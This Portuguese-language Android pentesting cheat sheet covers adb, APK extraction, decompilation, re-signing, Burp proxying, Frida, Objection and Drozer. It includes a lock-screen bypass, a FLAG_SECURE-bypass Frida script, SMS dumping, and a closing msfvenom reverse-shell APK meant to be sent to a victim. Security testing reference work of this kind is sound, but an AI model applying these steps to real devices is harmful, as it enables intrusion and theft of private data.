Android
Estrutura
/system/app
Aplicativos padrões (nativos), como Calculadora, Galeria, Maps, etc.
/data/app-private
Aplicativos de terceiro. Aqui podemos encontrar as APK's, caso tenho interesse.
/data/data
Estrutura dos aplicativos (nativos e de terceiros). Alguns dados dos app podem ser vistos aqui, incluindo arquivos de bando de dados.
data/app/<package.name>
Diretório onde ficam as APK's baixadas pela Play Store
/data/local/tmp
Diretório onde ficam os arquivos temporários
/data/system/gesture.key
Arquivo responsável por gerenciar o código de desbloqueio com sequência nos pontos.
/mnt/sdcard
Acesso ao cartão de memória
adb exec-out screencap -p > <output_screen.png>
Tira print da tela e salva em arquivo
Baixando APK
Maneira 1
A maneira mais prática que temos de pegar uma APK, é baixando pela play store e depois acessando o shell do android, navegando até /data/app/<package.name>
e então baixado o <file.apk>
. Aqui caímos em um cenário interessante... o nome do package terá um prefixo (exceto nos Androids mais antigos), então um usuário comum não consegue listar o seu nome, já que somente o root acessa o diretório /data/app
. Porém, o arquivo apk é acesível para todos, que fica em /data/app/<package.name>/base.apk
. Então iremos precisar fazer um macete para pegarmos essas APK's sem precisar utilizar o root.
Verificando nomes dos pacotes:
adb shell pm list packages -3 | cut -d':' -f2
Após termos em mãos os nomes dos pacotes, podemos pegar o caminho exato do arquivo apk (que temos acesso):
adb shell pm path '<package.name>' | cut -d':' -f2
Feito isso, basta baixá-lo:
adb pull '</data/app/<package.name-sufixo>/base.apk'
Maneira 2
Primeiro acesse o site https://play.google.com/store, copie o link da página do app que deseja pegar a APK e então acesse o site https://apps.evozi.com/apk-downloader/ e informe a URL copiada.
Armazenamento de Dados
Shared Prefs
Este tipo consiste em armazenar informações localmente em /data/data/<package.name>/shared_prefs/<package.name>_preferences.xml
(o app pode criar diversos arquivos, não se limite a olhar somente esse). Supondo que o app esteja armazenando o usuário e senha dessa maneira, tais credenciais podem ser comprometidas caso um atacante tenha acesso físico ao celular.
SQLite
Geralmente podemos encontrar o arquivo sqlite em /data/data/<desenvolvedor.do.app>/databases
.
Tipos de Arquivos e Conversões
Compilando código java (converte file.java
em file.class
)
javac <file.java>
Para verificar se o arquivo está ok, basta executar o comando abaixo (não precisa do sufixo .class
):
java <file>
Por padrão, o Android não executa esse tipo de arquivo, então precisamos utilizar DVM (Dalvik Virtual Machine)
, e para isso, é necessário converter arquivo .class
em .dex
.
./dx --dex --output=desec.dex Desec.class
Para testar se está ok, faça upload desse arquivo para o Android via adb
(pode ser em /data/local/tmp
) e depois execute o seguinte comando:
dalvikvm -cp <file.dex> <NameFileClass>
Nas versões mais atuais do Android, a execução é feita através do ART (Android Runtime)
, então é preciso converter o arquivo .dex
em oat
.
dex2oat --dex-file=<file.dex> --oat-file=<file.oat>
Também podemos converter arquivos .java
em .dex
e depois em .smali
.
javac --release 7 <file.java>
dx --dex --output=<file.dex> file.class
baksmali <file.dex> -o <file>
Bypass em Tela de Bloqueio
Caso tenha acesso root ao Android via adb
, podemos resetar a senha de desbloqueio (aquela que é preciso fazer uma determinada sequencia ligando os pontos). Para isso, basta executar o comando abaixo para deletar o arquivo responsável pelo gerenciamento dessa senha.
rm /data/system/gesture.key
Feito isso, basta agora utilizar qualquer sequencia de desbloqueio, que o Android irá validar como correto.
Android Studio
Execute antes de instalar o Android Studio, execute:
sudo apt install libz1 libncurses5 libbz2-1.0:i386 libstdc++6 libbz2-1.0
Após a sua execução, abra o Android Studio
, vá no menu Tools e clique em Create Desktop Entry
, assim não é preciso entrar no diretório via terminal e chamar diretamente o arquivo studio.sh
toda vez.
Emulator
Esse, assim como o adb
, já faz parte do pacote do Android Studio e podemos utilizá-lo para iniciarmos um Android sem precisar abrir a GUI do Android Studio, que deve ser utilizado somente para criar os dispositivos antes.
Listando dispositivos disponíveis que já foram criados através do Android Studio
./emulator -list-avds
Iniciando um dispositivo
./emulator @<name>
Fornece permissão de escrita nas pastas de sistema quando viramos root
emulator -avd <avd_name> -writeable-system
adb
adb devices
Lista os devices disponíveis
adb -s <device_name> shell
Caso tenha mais de um device, é preciso passar o seu nome. Caso tenha somente um device, não é preciso especificar
adb shell getprop ro.product.cpu.abi
Descobrindo a arquitetura do Android
adb root
Reinicia o adb com permissões de root
adb unroot
Reinicia o adb sem permissões de root
adb shell
Conecta via shell no android (funciona somente quanto tem apenas 1 device)
adb -e shell
Conecta via shell no android emulado (funciona somente quanto tem apenas 1 device emulado)
adb -d shell
Conecta via shell no android físico (funciona somente quanto tem apenas 1 device físico)
adb shell <command>
Executa o comando no shell (sem entrar no modo interativo)
adb shell ps
Exibe os processos que estão em execução no Android
adb push <file> /data/local/tmp
Realiza upload de um arquivo para o tmp do Android
adb pull </path/to/file.txt>
Realiza download de um arquivo do Android para o diretório atual
adb pull </path/to/file.txt> </path/to/local/file.txt>
Realiza download de um arquivo do Android para um diretório personalizado
adb install <file.apk>
Instala um app manualmente
adb uninstall package
Desinstala um app. Utilize o comando ps
para listar o nome do package
adb forward tcp:<port> tcp:<port>
Realiza um port forwarding
adb start-server
Inicia o serviço do adb
adb kill-server
Encerra o serviço do adb. As vezes o adb trava, então é útil parar o seu serviço e iniciar novamente, isso muitas vezes corrige as falhas
Package Manager
DICA: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando adb shell
ou adicione o próprio prefixo adb shell
nos comandos abaixo para não entrar na shell interativa.
adb shell pm list users
Lista os usuários
adb shell pm list packages
Lista todos os pacote
adb shell pm list packages -s
Lista todos os pacotes de sistema
adb shell pm list packages -3
Lista todos os pacotes de terceiros
adb shell pm path <package_name>
Mostra o caminho do APK
Activity Manager
DICA: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando adb shell
ou adicione o próprio prefixo adb shell
nos comandos abaixo para não entrar na shell interativa.
am start -a android.intent.action.VIEW <http://site.com>
Abre o navegador já com determinada URL
am start -a android.intent.action.VIEW geo:0,0?q=<Nome+da+Empresa>
Procura por uma empresa no Google Maps
am start -a android.intent.action.CALL -d tel:<number>
Realiza uma ligação para determinado número
am start -a android.intent.action.VIEW content://contacts/people
Abre a agenda de contatos telefônicos
am start -n com.android.music/com.android.music.MusicBrowserActivity
Abre o player de música
Services
DICA: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando adb shell
ou adicione o próprio prefixo adb shell
nos comandos abaixo para não entrar na shell interativa.
am startservice -n com.android.music/com.android.music.MediaPlaybackService
Iniciando um serviço em background
am stopservice -n com.android.music/com.android.music.MediaPlaybackService
Finaliza um serviço em background
Broadcast Receivers
am broadcast -a android.intent.action.BOOT_COMPLETED
Exibe a mensagem (logo) quando liga o celular
Content Providers
content query --uri content://sms/sent
Exibe no terminal todos os SMS que foram enviados e suas respectivas informações
SSL Pinning / Unpinning
No final dessa página, utilize o link de download para baixar o Frida Multiple Pinning, que resolve questões de Pinning e falhas de TrustManager
, que geralmente vem acompanhando de erros como java.security.cert.CertPathValidatorException: Trust anchor for certification path not found
ao realizarmos uma interceptação via Burp Suite.
Podemos procurar por pontos de pinagem em código ofuscado, extraindo o código com o apktool
e depois procurando por palavras-chave, como no exemplo abaixo:
grep -irnE -A6 'method public.*\(Ljava/lang/String;Ljava/lang/String;\)' | grep -i pin
Manual
Após decompilar a APK com o apktool, vá na tag application
dentro arquivo AndroidManifest.xml
e adicione o seguinte conteúdo:
android:networkSecurityConfig="@xml/network_security_config"
Vá em res/xml
e crie um arquivo chamado network_security_config.xml
, com o seguinte conteúdo:
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config>
<trust-anchors>
<certificates src="system" />
<certificates src="user" />
</trust-anchors>
</base-config>
</network-security-config>
Compile com o apktool e em seguida crie uma auto assinatura (todos esses passos estão nessa mesma página).
Proxy
Maneira 1
Essa é sem dúvidas a forma mais, pois iremos apenas criar um túnel via adb utilizando o comando abaixo. Não é preciso importar certificado do Burp nesse processo.
adb reverse tcp:8080 tcp:8080
Verificando os túneis que estão ativos
adb reverse --list
Após isso, basta ir nas configuração do Wifi e adicionar um proxy para 127.0.0.1 na porta 8080. Com isso, possívelmente já deve ser capaz de interceptar as requisições via Burp, porém em alguns cenários isso não é o suficiente, já que o firewall pode barrar esse tipo de conexão. Para resolver este cenário, acesse o Android com root e execute os seguintes comandos:
iptables -t nat -A OUTPUT -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080
Feito isso, vá no Burp Suite
> Proxy
> Options
, selecione o Listener (127.0.0.1:8080), clique em Edit
, vá na aba Request handling
e selecione a opção Support invisble proxying (enable only if needed)
.
Maneira 2
Caso utilize algum proxy (por exemplo, o Burp Suite), utilize o comando abaixo. Lembre-se também de, alterar o proxy nas configurações de rede do próprio Android, seja editando a Rede Wifi ou a Rede Móvel (configurando o APN - Access Point Names). Configure um PIN de 4 dígitos para bloqueio de tela e importe também o certificado confiável do proxy para que possa os apps normalmente. Caso utilize o wifi em um Android Emulador, desabilite o 3G/4G.
./emulator @<name> -http-proxy <ip>:<port>
Outra alternativa é, alterar as configurações no menu suspenso que fica do lado do mobile, onde é possível configurar o proxy.
Acessando como root
Ao utilizar o Android Studio e emular um novo Android, se atente ao ponto onde, imagens com o Google Play instalado não possui o root ativo, já os que não possuem o Google Play, podem ser acessados como root.
Maneira 1
Após iniciar o Android e acessar via adb shell
, note que temos acesso de um usuário comum, mas podemos ter acesso root apenas digitando su
no terminal. Se preferir, pode-se utilizar o comando adb root
para ficar com acesso root diretamente, note que após isso, o comando adb shell id
terá um resultado diferente.
Maneira 2
Outra maneira de fazermos o processo de root é executar o seguinte comando em um terminal:
./emulator -avd <android-name> -writable-system -selinux permissive -qemu -enable-kvm
E em outro terminal:
adb root
adb remount
adb shell
Diretórios e Arquivos Importantes (APK)
AndroidManifest.xml
Este é o principal arquivo de configuração usado por todos os aplicativos Android. É usado pelo Android para obter informações sobre o aplicativo, bem como quais funcionalidades estão expostas a outros aplicativos (entre outras coisas).
Fique atento as seguintes informações:
package = Nome do app
platformBuildVersionCode = Versão do SDK que aplicativo foi compilado
android:allowBackup="true" = É possível fazer um backup do aplicativo via
adb
android:exported="true" = Este serviço pode ser invocado por outros aplicativos
android.permission.SET_DEBUG_APP = Caso esse recurso esteja ativo (presente no
AndroidManifest.xml
, significa que o aplicativo pode realizar debug de outros aplicativos.android.permission.DUMP = Permite que o aplicativo recupere o estado interno do sistema, permitindo recuperar uma grande variedade de informações privadas e seguras.
android.permission.MANAGE_ACCOUNTS = Permite que a aplicação permita criar e excluir contas
Um ponto importante também a ser notado, é que o podemos ver a tag activity
no AndroidManifest.xml, e dentro dela, a tag intent-filter
com sua respectiva action
. Isso siginifica que essa action pode ser chamada por outros apps, ou até mesmo de forma manual, independente do app estar em execução ou não. Execute então o Activity Manager (am) para realizar tal chamada, substituindo o <activity_android:name>
abaixo, com o valor de android:name
, localizado na tag activity
, porém adicionando um /
antes do último ponto. Exemplo:
adb shell am start <activity.android/.name>
Podemos também chamá-lo de uma maneira diferente, passando o parâmetro -n
para informar o Componente
e o -a
para informa a Action
(valor de android:name
dentro da tag action
).
adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ>
Em alguns casos, essas actions podem/devem receber parâmetros (que não são exibidas no AndroidManifest.xml), então deve adicionar o parâmetro --ez no comando acima. Para saber quais parâmetros são esses, devemos decompilar com o apktool e ler o código-fonte e, após isso, acessar res/values/strings.xml e verificar o nome real que deve ser passado pelo adb, como no exemplo abaixo:
adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ> --ez <param> <value>
Outro ponto importante de vermos são os respectivos donos (ID de grupo e usuário)
cd /data/data
ls -lan
dumpsys package | grep 'Package \[' -A1
res/layout/activity_main.xml
Conteúdo em XML que contém um código fonte do frontend da aplicação.
res/values/strings.xml
String única que pode ser referenciada do aplicativo ou de outros arquivos de recurso (como um layout XML).
HardcodeActivity
Arquivo que podemos encontrar por chaves e demais valores que estão engessados no código. Caso use o apktool, este deve estar com a extensão smali
.
LogActivity
Arquivo que gera saídas de log, que pode ser lida através do adb logcat
.
Lendo Logs em Real Time
Isso é útil para identificarmos dados sensíveis que são disponíveis nos log's.
adb shell logcat
DICA: Caso queira filtrar por determiando processo, utilize o comando ps
, e então execute o comando acima utilizando um grep
com o PID do processo que deseja monitorar.
Flag Secure
Aplicativos com o Flag Secure ativo, bloqueia print do app quando ele está aberto e/ou quando a janela aparece na lista de apps abertos. Também é útil para barrar ferramentas que acessam um app físico remotamente, como Vysor.
Bypass de Flag Secure. Salve o código abaixo com o nome xpl.js
Java.perform(function() {
var surface_view = Java.use('android.view.SurfaceView');
var set_secure = surface_view.setSecure.overload('boolean');
set_secure.implementation = function(flag) {
console.log("setSecure() flag called with args: " + flag);
set_secure.call(false);
}
var window = Java.use('android.view.Window');
var set_flags = window.setFlags.overload('int', 'int');
var window_manager = Java.use('android.view.WindowManager');
var layout_params = Java.use('android.view.WindowManager$LayoutParams');
set_flags.implementation = function(flags, mask) {
flags = (flags.value & ~layout_params.FLAG_SECURE.value);
set_flags.call(this, flags, mask);
}
});
Agora execute:
/path/to/frida -U -f '<package.name>' -l xpl.js --no-pause
Content Provider
Primeiro verifique se o AndroidManifest.xml
possui a chave/valor android:exported="true"
na tag provider
, e caso seja positivo, execute o comando abaixo no código-fonte decompilado para buscar pelo content
:
grep -irn 'content://'
Caso localize algo com o grep
acima, utilize o comando abaixo para ver os seu conteúdo:
adb shell content query --uri content://<desenvolvedor.package.name.provider.provider/name>
MobSF
Executando via Docker
sudo docker pull opensecurity/mobile-security-framework-mobsf
sudo docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Drozer
Instalação
Instalando o Drozer no Android
adb install drozer.apk
Entre na GUI do Drozer, inicialize o serviço pelo próprio app e verifique a porta que foi aberta (geralmente é 31415).
Levando em conta que estamos utilizando a porta default (31415), vamos fazer um Port Forwarding via adb, com o seguinte comando:
adb forward tcp:31415 tcp:31415
Feito isso, vamos iniciar o Drozer no terminal Linux, com o comando abaixo. Adicione --server <phone-ip>
caso não seja na mesma máquina que esteja executando o Drozer e o Android.
drozer console connect
Utilização
Lista todos os módulos disponíveis
list
Help
help <module>
Acessando Shell do dispositivo
shell
Buscando por todos os pacotes
run app.package.list
Informações sobre as activities do um package. Adicione -u
no final para ver todas as activities, pois por padrão só serão exibidas as que são exportadas, pois são propensas a ataques.
run app.activity.info -a <package>
Chamando uma activity
run app.activity.start --component <package> <activity>
Buscando por todos os pacotes, porém utilizando um filtro pelo nome
run app.package.list -f <name>
Informações sobre o pacote
run app.package.info -a <package>
Exibindo o AndroidManifest.xml
run app.package.manifest <package>
Examina a superfície de ataques do pacote instalado
run app.package.attacksurface <package>
Procura por Providers que podem ser executadas via query
run scanner.provider.finduris -a <package>
Decompilando APK
apktool
Baixe a APK que deseja decompilar, vá no terminal e execute o comando abaixo. Caso não especifique a saída, será utilizado o diretório local.
apktool d <nome_de_saida> -o </caminho/completo/file.apk>
Disassemble sem o resources
apktool -r d <file.apk> -o <output>
Em alguns casos, é melhor baixar o apktool.jar e executá-lo, pois o que vem nativo no Kali as vezes pode apresentar alguns erros. Verifique no final dessa página a URL para download. Nesse caso, como se tratar de um arquivo .jar
, precisamos executá-lo da seguinte forma:
java -jar apktool.jar d <file.apk> -o <output>
Smali / BakSmali
Se executar o comando abaixo e não especificar o output, irá ser criado um diretório chamado out
, onde irá conter os arquivos com extensão smali.
java -jar baksmali.jar d <file.apk> -o <output_dir>
unzip
Outra maneira de descompactarmos uma apk (o resultado poderá diferente do comando anterior), é utilizando o unzip
:
unzip <file.apk>
jadx
Extraindo arquivo com extensão .java
jadx </path/file.apk> -d <output_dir>
Abrindo apk em modo gráfico (IDE) em real time
jadx-gui </path/file.apk>
Além fazer essa extração de .apk
para .java
, o jadx-gui
também consegue abrir arquivos .apk
e ler o seu conteúdo, decompilando em tempo de execução.
enjarify
Instalação
sudo apt install enjarify
Converte .apk
em .jar
enjarify <file.apk> -o <file_output.jar>
Pós Decompilação
Arquivos dex
As vezes ao desmontarmos uma APK, podemos ter arquivos de classes com extensão dex
. Para lermos esses arquivos, temos que converter esse arquivo em jar
e então, descompactarmos ele com o unzip
.
d2j-dex2jar <file.dex>
unzip <file-dex2har.jar>
OBSERVAÇÃO: Também é possível fazer esse processo direto no <file.apk>
, através do comando d2j-dex2jar <file.apk> -o <output_file.zip>
e depois unzip <output_file.zip>.
Lendo Arquivos class
O comando abaixo irá fazer uma cópia do arquivo .class
para o diretório atual, com a extensão .jad
(legível)
jad <file.class>
Caso tenha acesso ao GUI, utilize o comando abaixo para abrir uma ferramenta em modo gráfico:
jd-gui
Manipulando Arquivos class
Depois de montar um arquivo .jad
a partir um arquivo .class
, podemos manipular o código com qualquer editor. Primeiro altere a extensão de .jad
para .java
e então execute o seguinte comando para converter em arquivo .java
em .class
. Atente-se que, caso tenha um arquivo com o mesmo nome e extensão .class
, o mesmo será sobrescrito sem perguntar se deseja fazer isso ou não.
javac <file.java>
Feito isso, será criado um arquivo .class
e partir do arquivo .java
, o que nos permite agora executá-lo diretamente.
java <file>
Compilando APK
Agora que APK já foi modificada, basta montá-la novamente, depois assiná-la e por fim, alinhá-la.
apktool
apktool b <nome_do_diretório_com_codigo_extraído> -o <output.apk>
Se montar o APK e não definir o output, o APK estará localizado em <nome_do_diretório_com_codigo_extraído/dist/file.apk>
.
smali
java -jar <smali-x.x.x.jar> assemble <output_disass> -o <classes.dex>
zip -r <output.apk> AndroidManifest.xml classes.dex res resources.arsc
Certificado Auto-Assinado
Após ter montado o APK, precismos assiná-lo digitalmente para que possa ser instalado no Android. Talvez seja preciso ainda, fazer o alinhamento para que seja feito a instalação do APK com sucesso.
Gerando a chave e auto-assinando:
keytool -genkey -v -keystore <hack.keystore> -alias <alias> -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <hack.keystore> <file.apk> <alias>
OBS.: Caso dê erro invalid entry compressed size
ao executar o jarsigner
, execute o comando abaixo e depois use o jarsigner
novamente:
zip -d <file.apk> META-INF/\*
Verificar a assinatura (geralmente encontramos o jarsigner
no diretório do Android Studio: ./android-studio/jre/bin/jarsigner
)
jarsigner -verify -verbose -certs <file.apk>
Listando os certificados que tem dentro do keystore
keytool -list -v -keystore <file.keystore>
Exportando o certificado para ter uma melhor visualização
keytool -export -rfc -keystore <file.keystore> -alias <alias> -file <file_output.cer>
Alinhamento do APK (Align)
Esse procedimento é realizado após compilar a APK e auto assiná-la. Isso é importante, pois em alguns casos não é possível instalar a APK mesmo depois de auto assinar.
Geralmente encontramos o zipalign
em ./Android/Sdk/build-tools/<version>/zipalign
.
zipalign -v 4 <file.apk> <final.apk>
Frida
Tem muitas dependências, então caso dê pau, utilize outras versões. De preferência, utilize a partir da 15.0.0. O recomendado é utilizar a mesma versão no Frida Server (Android) e no Frida Client (Computador).
Instalando Frida Client (computador)
Certifique-se de que o python está na versão 3
pip install frida-tools
# ou
python -m pip install frida-tools
Instalando Frida Server (android emulado)
Baixe e descompacte o frida.xz
, envie para o Android em /data/local/tmp/
e dê a permissão com o seguinte comando:
chmod +x /data/local/tmp/<frida-server>
Instalando Frida Server (android físico)
Baixe e descompacte o frida.xz
, envie para o Android em /data/local/tmp/
. Para dar permissão de execução, utilize um dos comandos abaixo:
adb shell su -c chmod +x /data/local/tmp/<frida-server>
adb shell su 0 chmod +x /data/local/tmp/<frida-server>
Executando (android emulado)
adb root
adb shell chmod +x /data/local/tmp/<frida-server>
adb shell /data/local/tmp/<frida-server> &
Executando (android físico)
Execute um dos comandos abaixo:
adb shell su -c /data/local/tmp/frida-server &
adb shell su 0 /data/local/tmp/frida-server &
Utilização
Verificando aplicativos que estão em execução no Android
frida-ps -U
Tunelamento / Proxy
adb reverse tcp:8080 tcp:8080
</path/to/frida> -U -f <package.name> -l <unpinning.js> --no-pause
Objection
Trabalha em cima do Frida, porém de uma forma mais automatizada, então certifique-se de executar o Frida Server (Android) antes de utilizar o Objection.
Instalação
Certifique-se de que o python está na versão 3
pip install objection
python -m pip install objection
Utilização
Conectando no android a abrindo um app (execute o frida server antes)
objection --gadget <package.name> explore
Verificando variáveis de ambiente
env
Executando comandos no SO
android shell_exec <command>
Importando script do Frida
import </path/to/frida>
Versão do Frida
frida
Baixando arquivo
file download </path/android/file> .
Upload de arquivo
file upload <file> </path/android>
Tirando print da tela (somente se o app estiver em primeiro plano)
android ui screenshot <output_file>
Listando as Activities
android hooking list activities
Listando os Services
android hooking list services
Listando os Receivers
android hooking list receivers
Verificando qual a Activity que está sendo exibida no exato momento na aplicação. Ao alterar de tela no app, verifique que o comando abaixo irá mudar a resposta, exibindo a respectiva Activity no momento
android hooking get current_activity
Abrindo uma Activity
android intent launch_activity <package.name>.<activity>
Exibe todas as classes que são carregadas na aplicação
android hooking list classes
Semelhante ao comando anterior, porém este irá trazer somente as classes de um detereminado app. Note que o resultado irá trazer o nome (caminho) completo dessa classe, porém nos próximos comandos, utilize somente o final (o que está após o último ponto final) do resultado
android hooking search classes <package.name>
Pegando os métodos de uma determinada classe de um determinado app
android hooking search methods <package.name> <class>
Verificando os parâmetros que um determinado método possui
android hooking list class_methods <package.name>.<class>
Pegando um exemplo de Hooking. Depois de ver o resultado, altere a linha comentada com um console.log("Texto aqui");
e salve em um arquivo .js
. Após isso, execute e verifique se a mensagem foi exibida com sucesso no terminal do Objection, materializando assim que o Hooking teve êxito. Note que, ao realizar o comando abaixo, será gerado um script com todos os métodos da classe MainActivity, então limpe/apague o código dos métodos que não for utilizar. Abaixo estamos utilizando o MainActivity
, mas altere para a classe que deseja atacar.
# Gerando Hooking JS
android hooking generate simple <package.name>.<MainActivity>
# Executando o Hooking
frida-ps -U -f '<package.name>' -l <file.js> --no-pause
Exemplo de código que deverá ser gerado:
Java.perform(function() {
var clazz = Java.use('<package.name>.<MainActivity>');
clazz.onCreate.implementation = function() {
//
return clazz.onCreate.apply(this, arguments);
}
});
Super-Analyzer
Ferramenta via terminal que exporta um HTML com vulnerabilidades encontradas.
super-analyzer <file.apk>
Após o termino da execução do comando acima, leia o arquivo situado em ./results/owasp.mstg./index.html
.
ClassyShark
Ferramenta desenvolvida em Java que permite ler código-fonte de APK.
Iniciando o ClassyShark
java -jar ClassyShark.jar
AATP2 (Android Asset Packaging Tool)
O AAPT2 (Android Asset Packaging Tool) é uma ferramenta de compilação que o Android Studio e o Plug-in do Android para Gradle usam para compilar e empacotar recursos de apps. O AAPT2 analisa, indexa e compila os recursos em um formato binário que é otimizado para a plataforma Android. Apesar de vermos o AAPT2 sendo utilizada em conjuntos com outras ferramentas, também podemos utilizá-la separadamente via terminal.
Verificando permissões do APK
Este na verdade irá ler o AndroidManifest.xml
e extrair as devidas informações.
aapt dump permissions sample-expense-manager.apk
Lendo Arquivos ab
Arquivos com extensão .ab
são usados para fazer backup. Para ver o seu conteúdo, execute:
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 <file.ab> ) | tar xfvz -
Invadindo Android com Metasploit
msfconsole
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> R > <virus.apk>
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LPORT <port>
exploit
Agora envie o arquivo gerado para a vítima e, assim que ele executar a APK, irá entrar no Meterpreter
Sites
# Download do apktool
https://github.com/iBotPeaches/Apktool/releases
# Site para baixar APK
https://apkcombo.com/pt/
# Frida Multiple Unpinning
https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/
# Fridantiroot
https://codeshare.frida.re/@dzonerzy/fridantiroot/
# Site para saber o que significa cada permissão do AndroidManifest.xml
http://androidpermissions.com/
# Detalhes sobre o AndroidManifest.xml
https://developer.android.com/guide/topics/manifest/manifest-intro
# Frida
https://github.com/frida/frida/releases/
# Proxiando Android com Burp Suite
https://portswigger.net/support/configuring-an-android-device-to-work-with-burp
# Baksmali e Smali - Baixe os arquivos baksmali-x.x.x.jar e smali-x.x.x.jar
https://bitbucket.org/JesusFreke/smali/downloads/
https://gitlab.com/kalilinux/packages/smali
# Enjarify - Converte um arquivo .apk em uma .jar
https://github.com/google/enjarify
# Jython - Executa um Java dentro ou do Python ou vice-versa
https://www.jython.org
Last updated
Was this helpful?